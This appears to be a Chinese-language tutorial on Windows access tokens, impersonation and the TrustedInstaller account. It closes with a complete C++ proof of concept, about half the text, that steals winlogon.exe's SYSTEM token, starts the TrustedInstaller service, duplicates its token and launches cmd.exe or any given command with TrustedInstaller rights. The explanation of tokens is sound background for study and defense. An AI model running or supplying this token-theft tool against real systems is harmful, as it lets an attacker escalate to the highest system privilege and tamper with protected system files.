什么是权限控制?
在Windows安全模型中,当进程或线程访问对象(文件、注册表、进程等)时,安全引用监视器(SRM)会执行访问检查并确定是否允许访问。 SRM 基于三件事执行访问检查:访问进程或线程的令牌、访问对象的访问类型(读、写等)以及访问对象的安全设置 (DACL)。访问对象、令牌和 DACL。
简单来说,访问控制模型有两个基本组成部分:
访问令牌,包含有关登录用户的信息。 主动
安全描述符,包含保护可安全对象的安全信息。被动 客体
系统将线程的访问令牌中的安全信息 与对象的安全描述符中的安全信息进行比较,就像你早上去上班刷门禁一样。
什么是令牌?
为进程和线程提供的安全上下文的描述。 安全上下文包括以下信息:
账户信息(SID)
组信息(SID)
授予的权限(例如 SeDebugPrivilege)
登录会话 ID
完整性级别
UAC虚拟化状态
第一个令牌是在用户登录时生成的。此时,它会检查目标用户的权限,并根据该信息生成令牌。通常,此令牌会提供给 Explorer.exe。
每个子进程都会继承其创建者(进程或线程)令牌的副本。
另一方面,使用 Runas 命令 (CreateProcessWithLogonW API) 允许您指定另一个令牌作为参数,从而允许您在不同用户的安全上下文中创建进程。
SRM 根据令牌中的 SID、授予的权限、完整性级别等执行访问检查。
作用:
Token 就像是一张身份证/会员卡,比如当你去逛山姆超市时,店员会以会员二维码来判断你能不能进去。 Token 是一样的概念,可以用来验证持有者对于其他Resource 的存取权限。
整个流程大致上分成以下步骤:
Process 拿着Token 向Kernel 请求存取某个Resource。
经过一系列的处理,最终Kernel 执行SeAccessCheck 确认是否该Token 可以存取这个Resource。
通过检查后,就可以回传Resource 给该Process。
模拟令牌
如果进程的线程需要模拟其他用户(例如,访问客户端资源的服务器),则可以为此线程设置模拟令牌。这将允许线程访问用户和该模拟令牌中描述的权限可以访问的资源。这就是为什么服务帐户通常具有 SeImpersonate
权限集,而普通用户通常不应设置的原因。假设有一个 Web 服务器服务帐户,它必须代表连接到服务的用户访问 MSSQL 服务器 - 这就是模拟发挥作用的地方。
可以使用 Win32 API 函数 DuplicateTokenEx
将现有令牌(主令牌或模拟令牌)复制到主令牌或模拟令牌中。
特权帐户可以从任何现有进程复制访问令牌。然后,这个被盗的令牌可以应用于现有进程,也可以用于生成新进程CreateProcessWithToken
什么是TrustedInstaller?
TrustedInstaller是Windows Vista中引入的,是Windows操作系统中具有最高权限的内置服务帐户。它负责管理系统文件、安装和卸载应用程序以及执行关键系统更新。TrustedInstaller 确保重要的系统文件不会被未经授权的用户篡改或修改。这是通过将系统文件的所有权分配给 TrustedInstaller 帐户来实现的,这意味着即使是管理员也无法在没有首先获得这些文件的所有权的情况下对这些文件进行更改。
TrustedInstaller 是一个服务帐户,这意味着当修改其拥有的文件时,该服务必须正在运行,并且只有 TrustedInstaller.exe 可以修改它们。
sc qc TrustedInstaller
POC
#include <string>
#include <iostream>
#include <codecvt>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
void enable_privilege(string privilege_name)
{
HANDLE token_handle;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token_handle))
throw runtime_error("OpenProcessToken failed: " + to_string(GetLastError()));
LUID luid;
if (!LookupPrivilegeValue(nullptr, privilege_name.c_str(), &luid))
{
CloseHandle(token_handle);
throw runtime_error("LookupPrivilegeValue failed: " + to_string(GetLastError()));
}
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
{
CloseHandle(token_handle);
throw runtime_error("AdjustTokenPrivilege failed: " + to_string(GetLastError()));
}
CloseHandle(token_handle);
}
DWORD get_process_id_by_name(const string process_name)
{
HANDLE snapshot_handle;
if ((snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE)
{
throw runtime_error("CreateToolhelp32Snapshot failed: " + to_string(GetLastError()));
}
DWORD pid = -1;
PROCESSENTRY32 pe;
ZeroMemory(&pe, sizeof(PROCESSENTRY32));
pe.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot_handle, &pe))
{
while (Process32Next(snapshot_handle, &pe))
{
if (pe.szExeFile == process_name)
{
pid = pe.th32ProcessID;
break;
}
}
}
else
{
CloseHandle(snapshot_handle);
throw runtime_error("Process32First failed: " + to_string(GetLastError()));
}
if (pid == -1)
{
CloseHandle(snapshot_handle);
throw runtime_error("process not found: " + process_name);
}
CloseHandle(snapshot_handle);
return pid;
}
void impersonate_system()
{
const auto system_pid = get_process_id_by_name("winlogon.exe");
HANDLE process_handle;
if ((process_handle = OpenProcess(
PROCESS_QUERY_LIMITED_INFORMATION,
FALSE,
system_pid)) == nullptr)
{
throw runtime_error("OpenProcess failed (winlogon.exe): " + to_string(GetLastError()));
}
HANDLE token_handle;
if (!OpenProcessToken(
process_handle,
TOKEN_DUPLICATE,
&token_handle))
{
CloseHandle(process_handle);
throw runtime_error("OpenProcessToken failed (winlogon.exe): " + to_string(GetLastError()));
}
CloseHandle(process_handle);
HANDLE dup_token_handle;
SECURITY_ATTRIBUTES token_attributes;
token_attributes.nLength = sizeof(SECURITY_ATTRIBUTES);
token_attributes.lpSecurityDescriptor = nullptr;
token_attributes.bInheritHandle = FALSE;
if (!DuplicateTokenEx(
token_handle,
TOKEN_ALL_ACCESS,
&token_attributes,
SecurityImpersonation,
TokenImpersonation,
&dup_token_handle))
{
CloseHandle(token_handle);
throw runtime_error("DuplicateTokenEx failed (winlogon.exe): " + to_string(GetLastError()));
}
CloseHandle(token_handle);
if (!ImpersonateLoggedOnUser(dup_token_handle))
{
CloseHandle(dup_token_handle);
throw runtime_error("ImpersonateLoggedOnUser failed: " + to_string(GetLastError()));
}
CloseHandle(dup_token_handle);
}
int start_trusted_installer_service()
{
SC_HANDLE sc_manager_handle;
if ((sc_manager_handle = OpenSCManager(
nullptr,
SERVICES_ACTIVE_DATABASE,
SC_MANAGER_CONNECT)) == nullptr)
{
throw runtime_error("OpenSCManager failed: " + to_string(GetLastError()));
}
SC_HANDLE service_handle;
if ((service_handle = OpenServiceW(
sc_manager_handle,
L"TrustedInstaller",
SERVICE_QUERY_STATUS | SERVICE_START)) == nullptr)
{
CloseServiceHandle(sc_manager_handle);
throw runtime_error("OpenService failed: " + to_string(GetLastError()));
}
CloseServiceHandle(sc_manager_handle);
SERVICE_STATUS_PROCESS status_buffer;
DWORD bytes_needed;
while (QueryServiceStatusEx(
service_handle,
SC_STATUS_PROCESS_INFO,
reinterpret_cast<LPBYTE>(&status_buffer),
sizeof(SERVICE_STATUS_PROCESS),
&bytes_needed))
{
if (status_buffer.dwCurrentState == SERVICE_STOPPED)
{
if (!StartServiceW(service_handle, 0, nullptr))
{
CloseServiceHandle(service_handle);
throw runtime_error("StartService failed: " + to_string(GetLastError()));
}
}
if (status_buffer.dwCurrentState == SERVICE_START_PENDING ||
status_buffer.dwCurrentState == SERVICE_STOP_PENDING)
{
Sleep(status_buffer.dwWaitHint);
continue;
}
if (status_buffer.dwCurrentState == SERVICE_RUNNING)
{
CloseServiceHandle(service_handle);
return status_buffer.dwProcessId;
}
}
CloseServiceHandle(service_handle);
throw runtime_error("QueryServiceStatusEx failed: " + to_string(GetLastError()));
}
void create_process_as_trusted_installer(const DWORD pid, string command_line)
{
enable_privilege(SE_DEBUG_NAME);
enable_privilege(SE_IMPERSONATE_NAME);
impersonate_system();
HANDLE process_handle;
if ((process_handle = OpenProcess(
PROCESS_QUERY_LIMITED_INFORMATION,
FALSE,
pid)) == nullptr)
{
throw runtime_error("OpenProcess failed (TrustedInstaller.exe): " + to_string(GetLastError()));
}
HANDLE token_handle;
if (!OpenProcessToken(
process_handle,
TOKEN_DUPLICATE,
&token_handle))
{
CloseHandle(process_handle);
throw runtime_error("OpenProcessToken failed (TrustedInstaller.exe): " + to_string(GetLastError()));
}
CloseHandle(process_handle);
HANDLE dup_token_handle;
SECURITY_ATTRIBUTES token_attributes;
token_attributes.nLength = sizeof(SECURITY_ATTRIBUTES);
token_attributes.lpSecurityDescriptor = nullptr;
token_attributes.bInheritHandle = FALSE;
if (!DuplicateTokenEx(
token_handle,
TOKEN_ALL_ACCESS,
&token_attributes,
SecurityImpersonation,
TokenImpersonation,
&dup_token_handle))
{
CloseHandle(token_handle);
throw runtime_error("DuplicateTokenEx failed (TrustedInstaller.exe): " + to_string(GetLastError()));
}
CloseHandle(token_handle);
STARTUPINFOW startup_info;
GetStartupInfoW(&startup_info);
PROCESS_INFORMATION process_info;
ZeroMemory(&process_info, sizeof(PROCESS_INFORMATION));
if (!CreateProcessWithTokenW(
dup_token_handle,
LOGON_WITH_PROFILE,
nullptr,
const_cast<LPWSTR>(wstring_convert<codecvt_utf8<wchar_t>>().from_bytes(command_line).c_str()),
CREATE_UNICODE_ENVIRONMENT,
nullptr,
nullptr,
&startup_info,
&process_info))
{
CloseHandle(dup_token_handle);
throw runtime_error("CreateProcessWithTokenW failed: " + to_string(GetLastError()));
}
CloseHandle(dup_token_handle);
}
int main(int argc, char* argv[])
{
string command_line;
if (argc == 1)
{
command_line = "cmd.exe";
}
else if (argc == 2)
{
command_line = argv[1];
}
else
{
wcout << L"Error: invalid argument." << endl;
return 0;
}
try
{
const auto pid = start_trusted_installer_service();
create_process_as_trusted_installer(pid, "\"" + command_line + "\"");
}
catch (exception e)
{
wcout << e.what() << endl;
}
return 0;
}